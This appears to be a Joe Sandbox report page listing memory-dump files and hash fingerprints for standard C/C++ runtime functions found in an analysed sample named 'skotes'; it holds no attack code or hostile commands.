Associated: 00000006.00000002.3394489705.0000000000D74000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3394550960.0000000000D75000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3394608742.0000000000D76000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3394925292.0000000000D77000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3395909524.0000000000D79000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3395978087.0000000000D88000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3397711898.0000000000D89000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3397793080.0000000000D9F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3397852533.0000000000DA1000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3397923271.0000000000DA3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3397985271.0000000000DB2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398039211.0000000000DBF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398087705.0000000000DC0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398142318.0000000000DC9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398193052.0000000000DCD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398251077.0000000000DD5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398309435.0000000000DDE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398402608.0000000000DEE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398457685.0000000000DEF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398507275.0000000000DF6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398560517.0000000000DFB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398615587.0000000000E02000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398686397.0000000000E06000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398760073.0000000000E0E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398823301.0000000000E12000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398883662.0000000000E1F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398957010.0000000000E20000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3399019622.0000000000E2D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3399080155.0000000000E2E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3399080155.0000000000E4D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3399220623.0000000000E64000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3399282452.0000000000E65000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3399329890.0000000000E7B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3399380274.0000000000E7C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3399427278.0000000000E83000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3399474378.0000000000E85000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3399516797.0000000000E93000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3399569697.0000000000E94000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_b80000_skotes.jbxd

Yara matches

Similarity

API ID: Resource$Concurrency::details::Execution$CurrentManager::Proxy::RemoveSchedulerThreadstd::invalid_argument::invalid_argument
String ID: pScheduler
API String ID: 246774199-923244539
Opcode ID: 10f0025379c5632cfac86b94cbea6435a817cc3285c78fd0473d5397efa42060
Instruction ID: 90e81bb3407b348f5d142e64e37fbc3a2a0643e8a387b2d76999e23699c06cbb
Opcode Fuzzy Hash: 10f0025379c5632cfac86b94cbea6435a817cc3285c78fd0473d5397efa42060
Instruction Fuzzy Hash: F7F0E935A04204B7C724FA54DC83C9EF7F99E93B14B1081EAE51577291DF70AE05C6A2

Function 00BBCBDF Relevance: 6.3, APIs: 4, Instructions: 320COMMON

Download Yara Rule

APIs

_strrchr.LIBCMT ref: 00BBCC66

Memory Dump Source

Source File: 00000006.00000002.3391709308.0000000000B81000.00000040.00000001.01000000.00000007.sdmp, Offset: 00B80000, based on PE: true

Associated: 00000006.00000002.3391127329.0000000000B80000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3391709308.0000000000BE2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3392040119.0000000000BE9000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3392143183.0000000000BEB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3392255845.0000000000BF7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3393813092.0000000000D4E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3393871645.0000000000D50000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3393943100.0000000000D62000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3393943100.0000000000D70000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3394423465.0000000000D73000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3394489705.0000000000D74000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3394550960.0000000000D75000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3394608742.0000000000D76000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3394925292.0000000000D77000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3395909524.0000000000D79000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3395978087.0000000000D88000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3397711898.0000000000D89000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3397793080.0000000000D9F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3397852533.0000000000DA1000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3397923271.0000000000DA3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3397985271.0000000000DB2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398039211.0000000000DBF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398087705.0000000000DC0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398142318.0000000000DC9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398193052.0000000000DCD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398251077.0000000000DD5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398309435.0000000000DDE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398402608.0000000000DEE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398457685.0000000000DEF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398507275.0000000000DF6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398560517.0000000000DFB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398615587.0000000000E02000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398686397.0000000000E06000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398760073.0000000000E0E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398823301.0000000000E12000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398883662.0000000000E1F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398957010.0000000000E20000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3399019622.0000000000E2D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3399080155.0000000000E2E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3399080155.0000000000E4D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3399220623.0000000000E64000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3399282452.0000000000E65000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3399329890.0000000000E7B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3399380274.0000000000E7C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3399427278.0000000000E83000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3399474378.0000000000E85000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3399516797.0000000000E93000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3399569697.0000000000E94000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_b80000_skotes.jbxd

Yara matches

Similarity

API ID: _strrchr
String ID:
API String ID: 3213747228-0
Opcode ID: c90ae3db66b5619743134332522a0b96de832b73a835be1452314c5289bd2e52
Instruction ID: 5f3d30ab04bd70401d27262421f5984d25a5ca766789051c56856d9e2c24de20
Opcode Fuzzy Hash: c90ae3db66b5619743134332522a0b96de832b73a835be1452314c5289bd2e52
Instruction Fuzzy Hash: 2DB1F2329046469FDB15CF28C881BFEBFE5EF55340F1481EAE855EB242D6B49D01CBA0

Function 00BB504E Relevance: 6.2, APIs: 4, Instructions: 168COMMONLIBRARYCODE

Download Yara Rule

APIs

___AdjustPointer.LIBCMT ref: 00BB5115
___AdjustPointer.LIBCMT ref: 00BB5138
___AdjustPointer.LIBCMT ref: 00BB51D4

Memory Dump Source

Source File: 00000006.00000002.3391709308.0000000000B81000.00000040.00000001.01000000.00000007.sdmp, Offset: 00B80000, based on PE: true

Associated: 00000006.00000002.3391127329.0000000000B80000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3391709308.0000000000BE2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3392040119.0000000000BE9000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3392143183.0000000000BEB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3392255845.0000000000BF7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3393813092.0000000000D4E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3393871645.0000000000D50000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3393943100.0000000000D62000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3393943100.0000000000D70000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3394423465.0000000000D73000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3394489705.0000000000D74000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3394550960.0000000000D75000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3394608742.0000000000D76000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3394925292.0000000000D77000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3395909524.0000000000D79000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3395978087.0000000000D88000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3397711898.0000000000D89000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3397793080.0000000000D9F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3397852533.0000000000DA1000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3397923271.0000000000DA3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3397985271.0000000000DB2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398039211.0000000000DBF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398087705.0000000000DC0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398142318.0000000000DC9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398193052.0000000000DCD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398251077.0000000000DD5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398309435.0000000000DDE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398402608.0000000000DEE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398457685.0000000000DEF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398507275.0000000000DF6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398560517.0000000000DFB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398615587.0000000000E02000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398686397.0000000000E06000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398760073.0000000000E0E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398823301.0000000000E12000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398883662.0000000000E1F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398957010.0000000000E20000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3399019622.0000000000E2D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3399080155.0000000000E2E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3399080155.0000000000E4D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3399220623.0000000000E64000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3399282452.0000000000E65000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3399329890.0000000000E7B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3399380274.0000000000E7C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3399427278.0000000000E83000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3399474378.0000000000E85000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3399516797.0000000000E93000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3399569697.0000000000E94000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_b80000_skotes.jbxd

Yara matches

Similarity

API ID: AdjustPointer
String ID:
API String ID: 1740715915-0
Opcode ID: 45f1380a65c25d074ef5c8941ad1246fce10b399fbda161dafac0f641b732cb5
Instruction ID: 6e0b552df05548820e03f6266e4a875f42a81866b9ba9db5a7ecc8b9bacede3e
Opcode Fuzzy Hash: 45f1380a65c25d074ef5c8941ad1246fce10b399fbda161dafac0f641b732cb5
Instruction Fuzzy Hash: 6D510872601A06AFDB399F18D881BFA77F5EF14700F1445ADE80167291E7B1ED41CB92

Function 00BB4C15 Relevance: 6.1, APIs: 4, Instructions: 141COMMON

Download Yara Rule

APIs

TypeidsEqual.LIBVCRUNTIME ref: 00BB4C66
TypeidsEqual.LIBVCRUNTIME ref: 00BB4C8B
PMDtoOffset.LIBCMT ref: 00BB4CA1
PMDtoOffset.LIBCMT ref: 00BB4D22

Memory Dump Source

Source File: 00000006.00000002.3391709308.0000000000B81000.00000040.00000001.01000000.00000007.sdmp, Offset: 00B80000, based on PE: true

Associated: 00000006.00000002.3391127329.0000000000B80000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3391709308.0000000000BE2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3392040119.0000000000BE9000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3392143183.0000000000BEB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3392255845.0000000000BF7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3393813092.0000000000D4E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3393871645.0000000000D50000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3393943100.0000000000D62000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3393943100.0000000000D70000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3394423465.0000000000D73000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3394489705.0000000000D74000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3394550960.0000000000D75000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3394608742.0000000000D76000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3394925292.0000000000D77000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3395909524.0000000000D79000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3395978087.0000000000D88000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3397711898.0000000000D89000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3397793080.0000000000D9F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3397852533.0000000000DA1000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3397923271.0000000000DA3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3397985271.0000000000DB2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398039211.0000000000DBF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398087705.0000000000DC0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398142318.0000000000DC9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398193052.0000000000DCD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398251077.0000000000DD5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398309435.0000000000DDE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398402608.0000000000DEE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398457685.0000000000DEF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398507275.0000000000DF6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398560517.0000000000DFB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398615587.0000000000E02000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398686397.0000000000E06000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398760073.0000000000E0E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398823301.0000000000E12000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398883662.0000000000E1F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398957010.0000000000E20000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3399019622.0000000000E2D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3399080155.0000000000E2E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3399080155.0000000000E4D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3399220623.0000000000E64000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3399282452.0000000000E65000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3399329890.0000000000E7B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3399380274.0000000000E7C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3399427278.0000000000E83000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3399474378.0000000000E85000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3399516797.0000000000E93000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3399569697.0000000000E94000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_b80000_skotes.jbxd

Yara matches

Similarity

API ID: EqualOffsetTypeids
String ID:
API String ID: 1707706676-0
Opcode ID: 7eba31bc2cdc899ce0d39c1d43e6a64f477002fbbb014f00cff841445868ded1
Instruction ID: 34f01d5c77065350db4efb52fa364e90ff9c2f2381502425f4f861a44fe1d46d
Opcode Fuzzy Hash: 7eba31bc2cdc899ce0d39c1d43e6a64f477002fbbb014f00cff841445868ded1
Instruction Fuzzy Hash: 99515635A042099FDF11CF68C4806FEBBF5FF15354B1444EAE850A7352D7B2AE058B90

Function 00B82EC0 Relevance: 6.1, APIs: 4, Instructions: 132threadCOMMONLIBRARYCODE

Download Yara Rule

APIs

__Mtx_unlock.LIBCPMT ref: 00B82F5F
GetCurrentThreadId.KERNEL32 ref: 00B82F7E
__Mtx_unlock.LIBCPMT ref: 00B82FCC
__Cnd_broadcast.LIBCPMT ref: 00B82FE3

Memory Dump Source

Source File: 00000006.00000002.3391709308.0000000000B81000.00000040.00000001.01000000.00000007.sdmp, Offset: 00B80000, based on PE: true

Associated: 00000006.00000002.3391127329.0000000000B80000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3391709308.0000000000BE2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3392040119.0000000000BE9000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3392143183.0000000000BEB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3392255845.0000000000BF7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3393813092.0000000000D4E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3393871645.0000000000D50000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3393943100.0000000000D62000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3393943100.0000000000D70000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3394423465.0000000000D73000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3394489705.0000000000D74000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3394550960.0000000000D75000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3394608742.0000000000D76000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3394925292.0000000000D77000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3395909524.0000000000D79000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3395978087.0000000000D88000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3397711898.0000000000D89000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3397793080.0000000000D9F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3397852533.0000000000DA1000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3397923271.0000000000DA3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3397985271.0000000000DB2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398039211.0000000000DBF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398087705.0000000000DC0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398142318.0000000000DC9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398193052.0000000000DCD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398251077.0000000000DD5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398309435.0000000000DDE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398402608.0000000000DEE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398457685.0000000000DEF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398507275.0000000000DF6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398560517.0000000000DFB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398615587.0000000000E02000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398686397.0000000000E06000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398760073.0000000000E0E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398823301.0000000000E12000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398883662.0000000000E1F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398957010.0000000000E20000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3399019622.0000000000E2D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3399080155.0000000000E2E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3399080155.0000000000E4D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3399220623.0000000000E64000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3399282452.0000000000E65000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3399329890.0000000000E7B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3399380274.0000000000E7C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3399427278.0000000000E83000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3399474378.0000000000E85000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3399516797.0000000000E93000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3399569697.0000000000E94000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_b80000_skotes.jbxd

Yara matches

Similarity

API ID: Mtx_unlock$Cnd_broadcastCurrentThread
String ID:
API String ID: 3264154886-0
Opcode ID: 3832f9e217e3698d0ca2fd07a5d4e9b671d07594ac4506cec6b6cef5a035f9f3
Instruction ID: 7acbd353843db6011a3a6001708ffd6250a99c86db7fe1ca8d857deb74eb4c59
Opcode Fuzzy Hash: 3832f9e217e3698d0ca2fd07a5d4e9b671d07594ac4506cec6b6cef5a035f9f3
Instruction Fuzzy Hash: F941C2B09016059FDB21EF64C944B5ABBF8FF14720F0045BAE91AD77A0EB35EA05CB91

Function 00BADB30 Relevance: 6.1, APIs: 4, Instructions: 123COMMON

Download Yara Rule

APIs

Concurrency::details::ContextBase::TraceContextEvent.LIBCMT ref: 00BADB64

Part of subcall function 00BA8F2F: Concurrency::details::ContextBase::ThrowContextEvent.LIBCONCRT ref: 00BA8F50

Concurrency::details::InternalContextBase::FindWorkForBlockingOrNesting.LIBCONCRT ref: 00BADBC3
Concurrency::details::InternalContextBase::PrepareForUse.LIBCONCRT ref: 00BADBE9
Concurrency::location::_Assign.LIBCMT ref: 00BADC56

Memory Dump Source

Source File: 00000006.00000002.3391709308.0000000000B81000.00000040.00000001.01000000.00000007.sdmp, Offset: 00B80000, based on PE: true

Associated: 00000006.00000002.3391127329.0000000000B80000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3391709308.0000000000BE2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3392040119.0000000000BE9000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3392143183.0000000000BEB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3392255845.0000000000BF7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3393813092.0000000000D4E000.00000040.00000001.01000000.00000007.sdmpDownload File
